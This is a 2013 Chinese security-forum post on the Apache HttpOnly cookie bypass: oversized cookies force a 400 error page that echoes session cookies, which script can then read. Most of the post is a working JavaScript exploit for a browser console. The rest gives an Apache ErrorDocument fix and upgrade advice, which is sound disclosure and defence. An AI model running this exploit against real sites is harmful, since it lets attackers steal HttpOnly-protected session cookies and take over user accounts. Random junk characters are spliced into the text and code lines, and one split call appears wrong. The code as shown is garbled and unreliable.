找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2442|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。6 D4 e0 z/ ~  X! d
( H; k8 s9 I& I2 ^; N
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
2 D0 ^: f' A' e) O. N; X1 q ! ~3 `, Y( N2 ]  e) A! B1 D! ?
- k4 p  h' y9 u# h
// http://www.exploit-db.com/exploits/18442/" H; B. Q- i6 E) a( R
function setCookies (good) {
7 Q9 R* k+ z/ s9 {1 O// Construct string for cookie value+ y, B' L1 T" `6 u* D
var str = "";
% F4 d8 T! f6 T$ F0 Rfor (var i=0; i< 819; i++) {
# u! y  a! h% ?, y& Tstr += "x";
: m, W' g( f. r' c: L}
- O! m( m  ~) P1 Z4 M// Set cookies0 i# g# ^# \: d( T8 R% w: o. y
for (i = 0; i < 10; i++) {
% H% u$ [, M2 x" j. Q% e// Expire evil cookie" `7 V- E0 |( ^: K* m% s6 m
if (good) {" ~! C8 F1 R/ P0 |0 C" B* K
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";7 C; e! `4 M1 }
}
) d7 G3 g. m/ q// Set evil cookie
3 P6 m% m9 [8 _else {
+ `: K6 _* W7 D9 h, D  M/ J' Uvar cookie = "xss"+i+"="+str+";path=/";
0 p2 d- W4 S& r3 @2 w}
. L1 u  k: J' {/ b5 p% `& b. Tdocument.cookie = cookie;
$ B0 n% B, d. ^}
3 s) F& i$ w7 L) R; b! a. x$ q) ?0 t' z}; i- Z* k) [  U& J2 d$ s* u
function makeRequest() {
# x% X0 f) c8 F4 r& y( G: \% msetCookies();5 n  s" h3 ]7 q
function parseCookies () {
, |4 u2 ^% R1 E: Y9 J$ f4 L) fvar cookie_dict = {};
( X% t4 W& p0 W- C9 v, `: ?: d+ I// Only react on 400 status
7 V* G& C0 {2 k3 S# mif (xhr.readyState === 4 && xhr.status === 400) {+ ?' Q1 R+ y9 w7 w3 L
// Replace newlines and match <pre> content
& {7 @& Q0 Y6 Z) U, l; g; G5 dvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
3 G0 A( B* l0 Zif (content.length) {
9 r2 `% Y4 W# k/ U- c// Remove Cookie: prefix! A: H0 F  B* D4 l2 c
content = content[1].replace("Cookie: ", "");
2 J& ^7 B2 O4 i# Lvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);; w0 M7 M$ s1 H, j6 [' e1 b2 i
// Add cookies to object
5 |3 ]4 W. b! n) U5 @" o, |for (var i=0; i<cookies.length; i++) {
: R  K9 P/ j( b( f; H* Bvar s_c = cookies.split('=',2);6 ?. e$ f2 X: q* _" k, ?
cookie_dict[s_c[0]] = s_c[1];0 c8 G- {# A) S' q, C
}5 B. n; F# ~) Z7 B. a5 q2 Q: o
}2 ^* }( _- W  X; x
// Unset malicious cookies
) E# V3 f) c( _  H- zsetCookies(true);
- Z0 i  P% L! r6 t2 Palert(JSON.stringify(cookie_dict));$ i  e; o1 E/ M
}) n: V& e: A. Q* B
}+ F/ ^( B5 a2 _- g7 k8 U. T
// Make XHR request( j" }4 Q5 y! [  c
var xhr = new XMLHttpRequest();- s2 [- X6 C9 P% I; P" L
xhr.onreadystatechange = parseCookies;, x: a7 z2 q- v2 `) A' j& j. [
xhr.open("GET", "/", true);
5 C" `2 z$ I) B( vxhr.send(null);
# n6 j8 B1 y: J6 `6 u8 S}7 {6 L5 I$ ]8 ]
makeRequest();
; Q$ O9 H, _0 L9 ?7 `. G
' z  o) C. W6 h; a你就能看见华丽丽的400错误包含着cookie信息。/ O9 l5 p6 `( S  ~3 e9 w; N8 \) _* V2 ?

% J8 O/ c) F/ [* O7 n下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#& ^$ ^/ Y, i$ P% q3 g- j

  Q8 A/ N. B. {5 Z/ B# e" s* a. z修复方案:
# g1 e. M  E; H
& G; o! m/ V- |/ ?' ?Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
+ N  P9 p7 w! }1 q$ L0 A0 v
$ n$ E: l: Q1 D7 X- |. xIn the event of a problem or error, Apachecan be configured to do one of four things,
0 X: Q4 f; v& C, @9 c0 F' k" R' m# @& o* Y8 |, Z9 b
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
4 J( D3 s1 ], [2. output acustomized message输出一段信息
: ~! C# E/ m4 N. O$ m6 Y! u3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
( H: T; o5 w6 S9 \* F8 Z4. redirect to an external URL to handle theproblem/error转向一个外部URL
1 z9 h, Y7 E( b
& ~- W+ e  G3 J% r& E6 b9 r经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容8 a& @1 _8 ]& ?1 q! I
5 w" V* b- ?  T
Apache配置:# B( \" j1 N  y. n

% ^" G& i6 f9 |1 G% v* b: _: xErrorDocument400 " security test"
" [6 c- c3 a6 x- ^
* G5 k8 r% S- w5 ]8 r当然,升级apache到最新也可:)。
+ C$ v# W( j8 f5 Q' K. u  e1 ~+ }# Z# V4 {( x" i2 ]- X( V$ G
参考:http://httpd.apache.org/security/vulnerabilities_22.html- b$ `+ B" N1 I0 a
* H' m7 M: A! f' n' R: B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表